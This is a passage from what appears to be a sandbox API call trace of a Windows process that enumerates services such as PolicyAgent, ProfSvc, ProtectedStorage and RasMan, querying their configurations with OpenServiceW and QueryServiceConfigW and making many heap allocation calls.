(HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597840 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5978c8 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597950 [0028.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policyagent", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f08 [0028.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policyagent", cchWideChar=11, lpMultiByteStr=0x597f08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policyagent", lpUsedDefaultChar=0x0) returned 11 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f50 [0028.069] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f08) returned 1 [0028.069] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f50) returned 1 [0028.069] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597950) returned 1 [0028.069] OpenServiceW (hSCManager=0x6637d8, lpServiceName="PolicyAgent", dwDesiredAccess=0x1) returned 0x6638c8 [0028.069] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.070] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.070] GetLastError () returned 0x7a [0028.070] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x160, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x5942e0 [0028.070] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597730) returned 1 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597950 [0028.070] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597730) returned 1 [0028.070] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597950) returned 1 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597950 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.070] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597950) returned 1 [0028.070] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597730) returned 1 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f50 [0028.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x597f50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f08 [0028.070] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f50) returned 1 [0028.070] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f08) returned 1 [0028.070] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597730) returned 1 [0028.070] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f08 [0028.071] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.071] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597950 [0028.071] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5979d8 [0028.071] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597a60 [0028.071] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597ae8 [0028.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="power", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.071] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f50 [0028.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="power", cchWideChar=5, lpMultiByteStr=0x597f50, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="power", lpUsedDefaultChar=0x0) returned 5 [0028.071] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f98 [0028.071] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f50) returned 1 [0028.071] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f98) returned 1 [0028.071] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597ae8) returned 1 [0028.071] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Power", dwDesiredAccess=0x1) returned 0x6639b8 [0028.071] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.071] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.071] GetLastError () returned 0x7a [0028.071] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0xfa, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597ae8 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597b70 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597ae8) returned 1 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597b70) returned 1 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597b70 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597ae8 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597b70) returned 1 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597ae8) returned 1 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597ae8 [0028.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f98 [0028.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x597f98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f50 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f98) returned 1 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f50) returned 1 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597ae8) returned 1 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f50 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597ae8 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597b70 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597bf8 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597c80 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597d08 [0028.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="profsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f98 [0028.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="profsvc", cchWideChar=7, lpMultiByteStr=0x597f98, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="profsvc", lpUsedDefaultChar=0x0) returned 7 [0028.072] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597fe0 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f98) returned 1 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597fe0) returned 1 [0028.072] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597d08) returned 1 [0028.072] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ProfSvc", dwDesiredAccess=0x1) returned 0x6638a0 [0028.073] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.073] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.073] GetLastError () returned 0x7a [0028.073] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x126, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.073] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597d08 [0028.073] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597d90 [0028.073] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597d08) returned 1 [0028.073] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597d90) returned 1 [0028.073] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597d90 [0028.073] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597d08 [0028.073] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597d90) returned 1 [0028.073] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597d08) returned 1 [0028.073] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597d08 [0028.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.073] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597fe0 [0028.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x597fe0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f98 [0028.074] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597fe0) returned 1 [0028.074] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f98) returned 1 [0028.074] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597d08) returned 1 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f98 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597d08 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597d90 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597e18 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598ec0 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598f48 [0028.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protectedstorage", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597fe0 [0028.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protectedstorage", cchWideChar=16, lpMultiByteStr=0x597fe0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protectedstorage", lpUsedDefaultChar=0x0) returned 16 [0028.074] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598028 [0028.074] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597fe0) returned 1 [0028.074] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598028) returned 1 [0028.074] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598f48) returned 1 [0028.074] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ProtectedStorage", dwDesiredAccess=0x1) returned 0x663968 [0028.122] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.122] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.122] GetLastError () returned 0x7a [0028.122] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0xec, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.122] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598f48 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598fd0 [0028.123] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598f48) returned 1 [0028.123] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598fd0) returned 1 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598fd0 [0028.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598028 [0028.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x598028, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597fe0 [0028.123] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598028) returned 1 [0028.123] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597fe0) returned 1 [0028.123] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598fd0) returned 1 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597fe0 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598fd0 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598f48 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599058 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5990e0 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599168 [0028.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qwave", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598028 [0028.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qwave", cchWideChar=5, lpMultiByteStr=0x598028, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qwave", lpUsedDefaultChar=0x0) returned 5 [0028.123] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598070 [0028.123] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598028) returned 1 [0028.123] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598070) returned 1 [0028.124] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599168) returned 1 [0028.124] OpenServiceW (hSCManager=0x6637d8, lpServiceName="QWAVE", dwDesiredAccess=0x1) returned 0x6638c8 [0028.124] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.124] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.124] GetLastError () returned 0x7a [0028.124] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x1a8, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.124] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x5943e8 [0028.124] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598fd0) returned 1 [0028.124] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598fd0 [0028.124] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599168 [0028.124] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598fd0) returned 1 [0028.124] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599168) returned 1 [0028.124] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599168 [0028.124] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598fd0 [0028.124] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599168) returned 1 [0028.125] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598fd0) returned 1 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598fd0 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598070 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598070, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598028 [0028.125] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598070) returned 1 [0028.125] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598028) returned 1 [0028.125] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598fd0) returned 1 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598028 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x598fd0 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599168 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5991f0 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599278 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599300 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasauto", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598070 [0028.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasauto", cchWideChar=7, lpMultiByteStr=0x598070, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rasauto", lpUsedDefaultChar=0x0) returned 7 [0028.125] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5980b8 [0028.125] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598070) returned 1 [0028.125] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5980b8) returned 1 [0028.125] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599300) returned 1 [0028.125] OpenServiceW (hSCManager=0x6637d8, lpServiceName="RasAuto", dwDesiredAccess=0x1) returned 0x6639b8 [0028.125] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.125] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.126] GetLastError () returned 0x7a [0028.126] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599300 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599388 [0028.126] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599300) returned 1 [0028.126] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599388) returned 1 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599388 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599300 [0028.126] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599388) returned 1 [0028.126] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599300) returned 1 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599300 [0028.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5980b8 [0028.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5980b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598070 [0028.126] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5980b8) returned 1 [0028.126] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598070) returned 1 [0028.126] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599300) returned 1 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598070 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599300 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599388 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599410 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599498 [0028.126] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x599520 [0028.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.127] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5980b8 [0028.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasman", cchWideChar=6, lpMultiByteStr=0x5980b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rasman", lpUsedDefaultChar=0x0) returned 6 [0028.127] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x598100 [0028.127] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5980b8) returned 1 [0028.127] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x598100) returned 1 [0028.127] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x599520) returned 1 [0028.127] OpenServiceW (hSCManager=0x6637d8, lpServiceName="RasMan", dwDesiredAccess=0x1) returned 0x6638a0 [0028.127] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.127] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.127] GetLastError () returned 0x7a [0028.127] QueryServiceConfigW (in: hService=0x6638a0, 